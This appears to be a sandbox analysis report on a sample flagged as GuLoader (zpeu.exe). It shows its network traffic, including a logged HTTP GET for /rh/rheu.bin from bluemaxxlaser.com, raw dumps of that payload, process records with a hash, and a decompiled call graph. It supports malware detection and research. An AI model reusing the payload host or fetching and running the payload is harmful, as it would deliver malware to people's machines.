                                    Jun 1, 2023 10:45:44.798791885 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:44.958657026 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:44.958965063 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.118872881 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.119149923 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.279123068 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.279356003 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.439625025 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.439843893 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.599669933 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.599890947 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.759778023 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.759990931 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:45.920281887 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:45.920711040 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.080919027 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.081142902 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.241363049 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.241600037 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.401654005 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.401922941 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.562091112 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.562500954 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.722769976 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.723043919 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:46.883296967 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:46.883738041 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.044274092 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.044691086 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.204946041 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.205199003 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.365412951 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.365634918 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.525702953 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.525928020 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.686146975 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.686578035 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:47.846774101 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:47.847008944 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.006886959 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.007144928 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.031596899 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.031795979 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.166899920 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.167114019 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.327030897 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.327307940 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.487091064 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.487354994 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.647222042 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.647476912 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.807643890 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.807914972 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:48.967931032 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:48.968235016 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.128249884 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.128562927 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.288487911 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.288701057 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.448647022 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.448949099 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.608886957 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.609169006 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.769314051 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.769705057 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:49.929760933 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:49.929946899 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.090071917 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.090485096 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.250576973 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.250813007 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.411012888 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.411319017 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.571569920 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.571799994 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.732178926 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.732425928 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:50.892570019 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:50.892796993 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:51.053035975 CEST8049789203.175.174.69192.168.11.20
                                    Jun 1, 2023 10:45:51.053447008 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:51.053544998 CEST4978980192.168.11.20203.175.174.69
                                    Jun 1, 2023 10:45:51.213460922 CEST8049789203.175.174.69192.168.11.20
                                    TimestampSource PortDest PortSource IPDest IP
                                    Jun 1, 2023 10:45:42.009557009 CEST6385053192.168.11.201.1.1.1
                                    Jun 1, 2023 10:45:42.048654079 CEST53638501.1.1.1192.168.11.20
                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                    Jun 1, 2023 10:45:42.009557009 CEST192.168.11.201.1.1.10x136Standard query (0)bluemaxxlaser.comA (IP address)IN (0x0001)false
                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                    Jun 1, 2023 10:45:42.048654079 CEST1.1.1.1192.168.11.200x136No error (0)bluemaxxlaser.com203.175.174.69A (IP address)IN (0x0001)false
                                    • bluemaxxlaser.com
                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    0192.168.11.2049789203.175.174.6980C:\Users\user\Desktop\zpeu.exe
                                    TimestampkBytes transferredDirectionData
                                    Jun 1, 2023 10:45:42.214252949 CEST25OUTGET /rh/rheu.bin HTTP/1.1
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
                                    Host: bluemaxxlaser.com
                                    Jun 1, 2023 10:45:42.375017881 CEST27INHTTP/1.1 200 OK
                                    Date: Thu, 01 Jun 2023 08:45:42 GMT
                                    Server: Apache
                                    Last-Modified: Mon, 29 May 2023 06:42:21 GMT
                                    Accept-Ranges: bytes
                                    Content-Length: 454720
                                    Content-Type: application/octet-stream
                                    Data Raw: bf c1 6a 50 fe 9f 0e 74 89 77 a7 4d 7f 8c ec 47 03 0c 77 50 e4 63 c0 32 3e f8 6d 89 10 06 09 f6 48 a1 2c 71 a5 00 38 08 23 83 b2 78 20 bd 8a 4c cc 6a a6 e4 26 13 6f 63 3f 6d 70 25 84 76 e1 a2 9e 10 37 c4 11 f2 ed 80 a8 a4 31 da c0 af bf 9d a6 05 0f 07 74 dd 95 52 ce 9d ea 6b 88 9c bd 42 18 94 49 80 07 45 4c 1c 14 71 cc fb d6 a9 df 79 6c 8b 9f 42 12 b5 54 72 66 d2 e8 5e 5b d5 74 3f 13 55 5e f1 ba c3 d6 98 8b 71 b4 6f 8c d6 b3 e6 25 05 a5 9d ad f6 91 77 e5 00 29 36 45 a2 b0 f7 9c 21 7c 87 20 12 b0 99 c8 2a 1b 46 62 df c9 a5 0c 21 37 05 fd 29 80 6f 8d 5b 08 4c 69 0f 39 a6 37 88 6d c7 0e cb 64 09 63 d4 f4 aa 48 68 8a 78 de 10 10 0a 4a 3b 6a 81 b0 72 10 26 71 5c 6e 6b 87 f9 4e 2b f7 58 a4 17 ae ea a3 79 4d 30 f2 0b 9a 73 92 fa 97 b4 5c fd b6 70 e9 10 65 ef b7 46 4c e9 2f 0b 60 47 13 dc 98 75 7a 01 8a a6 0d 58 b4 da 4a 81 50 ba 73 17 32 29 8a e5 aa ab 58 06 a8 bf 40 57 24 a0 12 1c 34 08 70 84 f1 0e b3 6d a8 bc 9a 1a a6 07 2a df 1b bb 30 28 12 f7 e2 37 84 f9 30 60 88 cf 96 f6 cb d0 b5 47 ff 22 57 1b 08 99 9a 27 85 e5 e1 d2 9a ff f8 35 bf c4 78 fe d6 3b 45 ef d9 bb 84 4e 26 80 89 47 05 bf 83 6e b8 24 8a 27 e1 35 30 ac a5 1f 0d 51 f5 38 a9 4e 84 16 13 80 5e 64 a0 7a 4e b6 d9 a7 d1 a5 e6 2c bd f5 16 4a 7c 7a 4f 8f f5 19 46 d0 2f b8 ac 4b ef fa 34 54 5f 89 8a 4c d5 69 fc 87 5b 5e df f6 70 dd 57 26 30 57 ae ec da 25 cb 38 60 1a 71 de 8e 31 47 16 bd 46 f3 84 bb 65 6c f7 98 22 ba e3 94 eb aa d4 44 31 f8 db e4 21 77 f0 74 85 a0 81 c6 5c c2 94 7f 26 19 ed 79 91 3f 5b 70 d7 19 81 a7 25 b7 fa 70 48 94 b9 a6 e8 7b 9d f5 9e 6e b5 7f 9d f1 2c 34 14 6f 1e 21 de aa 36 a3 4b 6a 3a 37 c1 1b 22 b0 6f fd a8 83 b3 25 6b 15 b5 01 4e 76 f4 de a6 2d 03 bb 80 96 6f ae 43 bf 9b 43 f0 a2 17 60 d6 01 3b d8 16 7c f7 4a 21 f5 e4 70 1a 8c a3 3e d5 34 77 36 b6 a7 f5 a6 01 f3 d1 33 da 72 56 87 fd 19 b2 5d 29 ca 6e 0f d6 50 93 c4 74 a4 e3 d3 23 7d eb db 6a b8 89 13 8a 58 7d a9 64 a7 e7 aa 40 aa 68 a3 f8 09 d2 62 a3 0d fe 13 02 f6 73 ed fd 75 ff cc c3 f8 1a 58 9d 99 cb 6a 4f 27 6d cf d3 0a 3f 04 39 cd a6 7e 47 19 8f d5 93 bc 96 3d 23 1b 6a c4 f9 e6 44 1a 0d 91 9d fc 79 1d fc c1 68 54 cb 50 b5 0b e9 a0 03 d0 bd 9a e8 a7 d2 ae 7a f3 a0 61 58 2a 38 88 79 0d 17 f8 b4 e4 87 c0 85 74 b8 0b d3 57 87 16 1e 45 0b 56 37 b9 dc 01 ff b1 18 c3 20 c2 cf 5b bf af 44 0c ed 90 78 65 88 01 57 38 4a 3c ae b4 e8 81 c7 a4 97 bd 87 e4 b9 9a 4d ed 96 b4 f6 94 d7 9e 48 36 cc 1d b1 1f b3 5d 5a fd f1 b9 f1 37 0a 31 ea c0 e5 14 91 cf 17 f8 45 df 99 a4 e2 3d ef 49 4b d0 c7 42 e6 b5 5b c0 05 d0 cd 74 bc 9c fe ca a9 d3 53 09 bd 5a 73 b9 58 59 ef 83 a8 73 6d 44 a3 2e b7 71 84 f3 2f 05 a4 a4 80 51 ab fb f9 a8 8d aa 76 b7 40 06 f0 8c 01 e5 fa 3f a5 dd e8 96 d1 05 ac 54 01 60 ff da 19 56 35 b2 9b 19 05 0c 16 a6 a1 50 26 46 a3 dc 91 19 46 d2 cc 33 96 41 1c 16 0f 65 d4 2f c6 6f a2 3f 09 3a 27 84 0d 88 47 43 ca 24 b7 e0 cd 41 6e ae e3 3b bf cf 48 b1 32 19 14 11 8d 4c 43 03 3f 6a f1 29 fe fc 41 d7 c5 37 35 1b a9 44 e2 bc 61 e5 46 7c 80 16 50 ba eb 31 e1 73 96 9b 9f ad 93 a2 bc b7 e4 51 ff 58 be 5e a4 35 4a 11 92 27 c6 34 cd 07 0d 2f a6 03 66 a0 ac cf ef 9f 0d cc ef 10 da 6d 95 d9 20 10 c8 e5 da d8 4b b3 e1 b5 88 6b ed e7 2d 90 e9 3c 1f a7 a9 b9 fc 99 33 9f 94 1d 52 31 c1 f2 48 3d 83 a1 08 37 02 25 c1 ef 32 9a cd b2 3f dc 01 be a2 9c 31 52 0a d7 25 b9 d3 ba 7a f0 48
                                    Data Ascii: jPtwMGwPc2>mH,q8#x Lj&oc?mp%v71tRkBIELqylBTrf^[t?U^qo%w)6E!| *Fb!7)o[Li97mdcHhxJ;jr&q\nkN+XyM0s\peFL/`GuzXJPs2)X@W$4pm*0(70`G"W'5x;EN&Gn$'50Q8N^dzN,J|zOF/K4T_Li[^pW&0W%8`q1GFel"D1!wt\&y?[p%pH{n,4o!6Kj:7"o%kNv-oCC`;|J!p>4w63rV])nPt#}jX}d@hbsuXjO'm?9~G=#jDyhTPzaX*8ytWEV7 [DxeW8J<MH6]Z71E=IKB[tSZsXYsmD.q/Qv@?T`V5P&FF3Ae/o?:'GC$An;H2LC?j)A75DaF|P1sQX^5J'4/fm Kk-<3R1H=7%2?1R%zH
                                    Jun 1, 2023 10:45:42.375112057 CEST28INData Raw: 2d 49 c2 7a 2b 00 49 4c f9 91 73 1d 57 46 cf 01 c0 0f 15 84 42 67 24 9c 6d ea 92 bc 54 ae a2 6b 78 17 c5 ac 57 48 70 7b e4 6e ed 28 2e b1 02 97 45 96 15 37 85 6f d0 a4 62 3c 35 af 15 b1 c4 41 94 a3 c8 37 1c 5c ea 42 ac 44 8c 25 32 8b f8 e0 54 e7
                                    Data Ascii: -Iz+ILsWFBg$mTkxWHp{n(.E7ob<5A7\BD%2TB_l&}j2&/p%gOKgs2OQ5NG3;22P7]I[Vc+[C;+,0E6L)%0fI%Og/iHhoR
                                    Jun 1, 2023 10:45:42.375180960 CEST29INData Raw: 1a 71 de 8e 31 47 16 bd 46 f3 84 bb 85 6a f7 40 2a ba e3 94 eb aa d4 44 31 f8 db e4 21 77 f0 74 85 a0 81 c6 5c c2 94 7f 26 19 ed 79 91 3f 5b 70 d7 19 81 a7 25 b7 fa 70 48 94 b9 a6 e8 7b 9d f5 9e 6e b5 7f 2d f0 2c 4c 17 6f 1e 21 de aa 36 a3 4b 6a
                                    Data Ascii: q1GFj@*D1!wt\&y?[p%pH{n-,Lo!6Kj:7"o%kNXYCCa+|J!p>w6`3X\)~P#t#}j}$4hb>cu?XjO'mJ?+vp=#dMy
                                    Jun 1, 2023 10:45:42.375298023 CEST31INData Raw: a3 8f 58 d8 cd c4 c7 3f 4b 12 e7 2e 30 7d cc cb 72 b5 ce cf 36 cf 33 89 93 b0 3d b0 4a d3 39 68 e1 41 95 38 c8 29 11 c4 b7 f4 d5 3d 8e 59 38 97 a7 9d 93 36 d0 5e 15 e6 1f 21 08 9c 96 d1 21 29 f7 35 37 00 68 85 f8 68 f4 0a c0 56 31 b9 c1 73 e2 32
                                    Data Ascii: X?K.0}r63=J9hA8)=Y86^!!)57hhV1s25?`ZgV">;Eizs:`8sg+Y!SBi|&m-|&+`;f,G}wxd2$N%&P%Yhl:s\21#x u
                                    Jun 1, 2023 10:45:42.375399113 CEST32INData Raw: 91 3a 21 ea 49 84 52 9c c9 12 d8 17 12 fa b9 7d 6f 5e de 69 f3 e7 93 af ae 1f 8f 0e ec 86 9f 18 2f b1 81 53 49 7d d1 64 7a 19 c0 5b 14 30 dd d2 0c b1 c4 c2 50 af 4d f7 13 d9 c3 bd 53 bb 07 63 3a 0e 38 69 11 ef 4d 2d 8d a0 fa 67 c5 93 50 f6 4d 84
                                    Data Ascii: :!IR}o^i/SI}dz[0PMSc:8iM-gPMz& cuKgjMK!_$m<X8~N0sLY)uAr[ u0AM_l)%,j]W#L<WV,H?Yg{{+.
                                    Jun 1, 2023 10:45:42.375488997 CEST33INData Raw: f3 72 08 93 a7 34 3f 94 eb aa ef 4d 45 c8 50 62 c1 77 f0 74 6e ab 0a 93 a4 fb c4 77 52 10 66 39 95 04 9a 05 26 f2 96 2c 6d b3 71 60 c1 85 32 ae 63 2b 99 a5 f4 6e 3c 2e 29 0f 5a 54 e8 bc 76 5c 0a c7 7d 2e cd ca 3a 37 c1 71 22 e0 87 d7 b5 83 b3 a6
                                    Data Ascii: r4?MEPbwtnwRf9&,mq`2c+n<.)ZTv\}.:7q"0:SZ28C<I(9m6J6^*vxG9v"l,)Ew5,6Yj3qule{Fs8*uHSZut;A*O+K?rmfe1mTL'?84u
                                    Jun 1, 2023 10:45:42.375555038 CEST35INData Raw: 30 96 dc 0c 34 bd 35 d7 76 cf d8 d9 54 f6 35 4b 52 93 39 e1 8f 75 52 7e c4 c1 12 c4 b7 1f 91 6a 07 37 0c 7f 1c 66 6c c9 87 99 53 d2 1e 21 08 9c 51 97 19 a9 f7 35 37 e8 cf 7e 07 97 7f 4c c4 d5 f1 bd 48 73 69 74 d2 5a 6c 03 d8 3b 3a 28 db 9d f9 6f
                                    Data Ascii: 045vT5KR9uR~j7flS!Q57~LHsitZl;:(ouC"X+hzU{dw6fu>ewF,bv|&)0fX4b3m0X,9&W\A?`'JlnI]:B+DJ^yS+q-{D
                                    Jun 1, 2023 10:45:42.375648975 CEST36INData Raw: d8 ab 92 e2 a3 76 b9 ab 8f c7 e6 e9 a3 81 b3 2e 6f 82 bc 7e 1d 47 31 57 76 44 2c 02 2d d4 91 a4 14 6e bf 21 b9 0a 85 41 14 5a a9 4b 16 dc 13 24 d3 41 0c cc 65 60 f5 60 ad d7 3e ac 16 a6 3c e7 9e ec cf ca 2d f6 17 f5 f4 fe 22 68 ef ab 83 dc b2 76
                                    Data Ascii: v.o~G1WvD,-n!AZK$Ae``><-"hvJ't/DaCT>SmQGR37;X:%"jEl5}3+zm>-k?'PL%A3C20a]NB0<Za}yucU_qD1
                                    Jun 1, 2023 10:45:42.375752926 CEST38INData Raw: 45 f4 b3 e4 a1 77 f0 1e 85 5f f7 d6 a3 12 c2 15 26 e6 f8 f5 23 7e 5b 20 28 0c 05 15 64 b7 5b 50 84 d2 b9 9d 2f 0e 09 aa c5 30 7c bc 45 b8 99 0d 17 90 0b 65 6c eb 36 cb 33 d9 7b 37 3e 6f 06 a0 87 59 55 7c 4c 7c 32 26 75 c3 5e 58 7f 9e c2 e9 42 bb
                                    Data Ascii: Ew_&#~[ (d[P/0|Eel63{7>oYU|L|2&u^XB(tfa)$[iW|o9EpR9hC\FP`X'j+v6<7{u,b\(CE~<4O,,o+>lUbuW%K8PJ.BBh
                                    Jun 1, 2023 10:45:42.375849009 CEST39INData Raw: 6c 33 fa b4 c3 d0 02 55 ad 8d d3 38 b4 cf a9 fc 7b b2 d5 d6 8c 6a f8 c8 fa c6 50 60 5b 2a 31 ee 48 12 f7 a5 e8 f5 55 20 30 73 07 04 68 85 f8 83 b5 81 86 5a 0a 7e b5 7d b5 64 86 eb 65 6b 6f c0 30 a4 df d3 c1 6b 65 10 c3 19 f9 85 c4 bf 87 6d 15 26
                                    Data Ascii: l3U8{jP`[*1HU 0shZ~}deko0kem&+DPtg/7hqk2%_sd(M.Pe%z!B/Fyc*5F=s:k0();z!DIlWAtu6Ej9I`
                                    Jun 1, 2023 10:45:42.535751104 CEST40INData Raw: dc 0d 88 f0 e0 d6 aa 01 6b 5d eb 85 bb 69 ea 5d 83 35 eb 7e 17 0e be ea f9 3a 89 b9 97 a7 71 bc 51 a8 61 7e a4 c7 73 da bb ce 14 ef d0 a0 41 a1 96 d4 40 90 ad 14 36 f5 27 5e ff f6 49 f4 88 5a 19 7e 47 c6 e0 5e fb 03 00 dd be e6 87 a4 4a 78 1e 41
                                    Data Ascii: k]i]5~:qQa~sA@6'^IZ~G^JxAGgOlPv]B@|!hG#xJF/X?zBWcOnqu0V35+!!e_;9/$0ssrbW,{/id'^%^P Q:$h*z


                                    Click to jump to process

                                    Click to jump to process

                                    Click to dive into process behavior distribution

                                    Click to jump to process

                                    Target ID:2
                                    Start time:10:44:31
                                    Start date:01/06/2023
                                    Path:C:\Users\user\Desktop\zpeu.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\Desktop\zpeu.exe
                                    Imagebase:0x400000
                                    File size:347200 bytes
                                    MD5 hash:C787B4E955C03262262F30AC9148CE03
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.56209186951.0000000006D69000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                    Reputation:low

                                    Target ID:5
                                    Start time:10:45:34
                                    Start date:01/06/2023
                                    Path:C:\Users\user\Desktop\zpeu.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\Desktop\zpeu.exe
                                    Imagebase:0x400000
                                    File size:347200 bytes
                                    MD5 hash:C787B4E955C03262262F30AC9148CE03
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:low

                                    Target ID:9
                                    Start time:10:46:44
                                    Start date:01/06/2023
                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 204
                                    Imagebase:0xe70000
                                    File size:482640 bytes
                                    MD5 hash:40A149513D721F096DDF50C04DA2F01F
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:moderate

                                    Reset < >

                                      Execution Graph

                                      Execution Coverage:20.5%
                                      Dynamic/Decrypted Code Coverage:13.3%
                                      Signature Coverage:19.7%
                                      Total number of Nodes:1575
                                      Total number of Limit Nodes:43
                                      execution_graph 5181 10001000 5184 1000101b 5181->5184 5191 10001516 5184->5191 5186 10001020 5187 10001024 5186->5187 5188 10001027 GlobalAlloc 5186->5188 5189 1000153d 3 API calls 5187->5189 5188->5187 5190 10001019 5189->5190 5193 1000151c 5191->5193 5192 10001522 5192->5186 5193->5192 5194 1000152e GlobalFree 5193->5194 5194->5186 4174 401941 4175 401943 4174->4175 4176 402c37 17 API calls 4175->4176 4177 401948 4176->4177 4180 40595a 4177->4180 4219 405c25 4180->4219 4183 405982 DeleteFileW 4185 401951 4183->4185 4184 405999 4186 405ab9 4184->4186 4233 40624c lstrcpynW 4184->4233 4186->4185 4251 40658f FindFirstFileW 4186->4251 4188 4059bf 4189 4059d2 4188->4189 4190 4059c5 lstrcatW 4188->4190 4234 405b69 lstrlenW 4189->4234 4192 4059d8 4190->4192 4195 4059e8 lstrcatW 4192->4195 4196 4059f3 lstrlenW FindFirstFileW 4192->4196 4195->4196 4196->4186 4204 405a15 4196->4204 4197 405ae2 4254 405b1d lstrlenW CharPrevW 4197->4254 4200 405a9c FindNextFileW 4200->4204 4205 405ab2 FindClose 4200->4205 4201 405912 5 API calls 4203 405af4 4201->4203 4206 405b0e 4203->4206 4207 405af8 4203->4207 4204->4200 4218 405a5d 4204->4218 4238 40624c lstrcpynW 4204->4238 4205->4186 4209 4052b0 24 API calls 4206->4209 4207->4185 4210 4052b0 24 API calls 4207->4210 4209->4185 4212 405b05 4210->4212 4211 40595a 60 API calls 4211->4218 4214 406012 36 API calls 4212->4214 4213 4052b0 24 API calls 4213->4200 4216 405b0c 4214->4216 4215 4052b0 24 API calls 4215->4218 4216->4185 4218->4200 4218->4211 4218->4213 4218->4215 4239 405912 4218->4239 4247 406012 MoveFileExW 4218->4247 4257 40624c lstrcpynW 4219->4257 4221 405c36 4258 405bc8 CharNextW CharNextW 4221->4258 4224 40597a 4224->4183 4224->4184 4225 4064e0 5 API calls 4231 405c4c 4225->4231 4226 405c7d lstrlenW 4227 405c88 4226->4227 4226->4231 4228 405b1d 3 API calls 4227->4228 4230 405c8d GetFileAttributesW 4228->4230 4229 40658f 2 API calls 4229->4231 4230->4224 4231->4224 4231->4226 4231->4229 4232 405b69 2 API calls 4231->4232 4232->4226 4233->4188 4235 405b77 4234->4235 4236 405b89 4235->4236 4237 405b7d CharPrevW 4235->4237 4236->4192 4237->4235 4237->4236 4238->4204 4264 405d19 GetFileAttributesW 4239->4264 4242 40593f 4242->4218 4243 405935 DeleteFileW 4245 40593b 4243->4245 4244 40592d RemoveDirectoryW 4244->4245 4245->4242 4246 40594b SetFileAttributesW 4245->4246 4246->4242 4248 406026 4247->4248 4250 406033 4247->4250 4267 405e98 4248->4267 4250->4218 4252 405ade 4251->4252 4253 4065a5 FindClose 4251->4253 4252->4185 4252->4197 4253->4252 4255 405ae8 4254->4255 4256 405b39 lstrcatW 4254->4256 4255->4201 4256->4255 4257->4221 4259 405be5 4258->4259 4261 405bf7 4258->4261 4260 405bf2 CharNextW 4259->4260 4259->4261 4263 405c1b 4260->4263 4262 405b4a CharNextW 4261->4262 4261->4263 4262->4261 4263->4224 4263->4225 4265 40591e 4264->4265 4266 405d2b SetFileAttributesW 4264->4266 4265->4242 4265->4243 4265->4244 4266->4265 4268 405ec8 4267->4268 4269 405eee GetShortPathNameW 4267->4269 4294 405d3e GetFileAttributesW CreateFileW 4268->4294 4271 405f03 4269->4271 4272 40600d 4269->4272 4271->4272 4274 405f0b wsprintfA 4271->4274 4272->4250 4273 405ed2 CloseHandle GetShortPathNameW 4273->4272 4275 405ee6 4273->4275 4276 40626e 17 API calls 4274->4276 4275->4269 4275->4272 4277 405f33 4276->4277 4295 405d3e GetFileAttributesW CreateFileW 4277->4295 4279 405f40 4279->4272 4280 405f4f GetFileSize GlobalAlloc 4279->4280 4281 405f71 4280->4281 4282 406006 CloseHandle 4280->4282 4296 405dc1 ReadFile 4281->4296 4282->4272 4287 405f90 lstrcpyA 4290 405fb2 4287->4290 4288 405fa4 4289 405ca3 4 API calls 4288->4289 4289->4290 4291 405fe9 SetFilePointer 4290->4291 4303 405df0 WriteFile 4291->4303 4294->4273 4295->4279 4297 405ddf 4296->4297 4297->4282 4298 405ca3 lstrlenA 4297->4298 4299 405ce4 lstrlenA 4298->4299 4300 405cec 4299->4300 4301 405cbd lstrcmpiA 4299->4301 4300->4287 4300->4288 4301->4300 4302 405cdb CharNextA 4301->4302 4302->4299 4304 405e0e GlobalFree 4303->4304 4304->4282 4305 4015c1 4306 402c37 17 API calls 4305->4306 4307 4015c8 4306->4307 4308 405bc8 4 API calls 4307->4308 4318 4015d1 4308->4318 4309 401631 4311 401663 4309->4311 4312 401636 4309->4312 4310 405b4a CharNextW 4310->4318 4314 401423 24 API calls 4311->4314 4332 401423 4312->4332 4322 40165b 4314->4322 4318->4309 4318->4310 4321 401617 GetFileAttributesW 4318->4321 4324 405819 4318->4324 4327 40577f CreateDirectoryW 4318->4327 4336 4057fc CreateDirectoryW 4318->4336 4320 40164a SetCurrentDirectoryW 4320->4322 4321->4318 4339 406626 GetModuleHandleA 4324->4339 4328 4057d0 GetLastError 4327->4328 4329 4057cc 4327->4329 4328->4329 4330 4057df SetFileSecurityW 4328->4330 4329->4318 4330->4329 4331 4057f5 GetLastError 4330->4331 4331->4329 4333 4052b0 24 API calls 4332->4333 4334 401431 4333->4334 4335 40624c lstrcpynW 4334->4335 4335->4320 4337 405810 GetLastError 4336->4337 4338 40580c 4336->4338 4337->4338 4338->4318 4340 406642 4339->4340 4341 40664c GetProcAddress 4339->4341 4345 4065b6 GetSystemDirectoryW 4340->4345 4343 405820 4341->4343 4343->4318 4344 406648 4344->4341 4344->4343 4346 4065d8 wsprintfW LoadLibraryExW 4345->4346 4346->4344 4351 401e43 4359 402c15 4351->4359 4353 401e49 4354 402c15 17 API calls 4353->4354 4355 401e55 4354->4355 4356 401e61 ShowWindow 4355->4356 4357 401e6c EnableWindow 4355->4357 4358 402abf 4356->4358 4357->4358 4360 40626e 17 API calls 4359->4360 4361 402c2a 4360->4361 4361->4353 4366 402644 4367 402c15 17 API calls 4366->4367 4375 402653 4367->4375 4368 402790 4369 40269d ReadFile 4369->4368 4369->4375 4370 402736 4370->4368 4370->4375 4380 405e1f SetFilePointer 4370->4380 4371 405dc1 ReadFile 4371->4375 4373 402792 4389 406193 wsprintfW 4373->4389 4374 4026dd MultiByteToWideChar 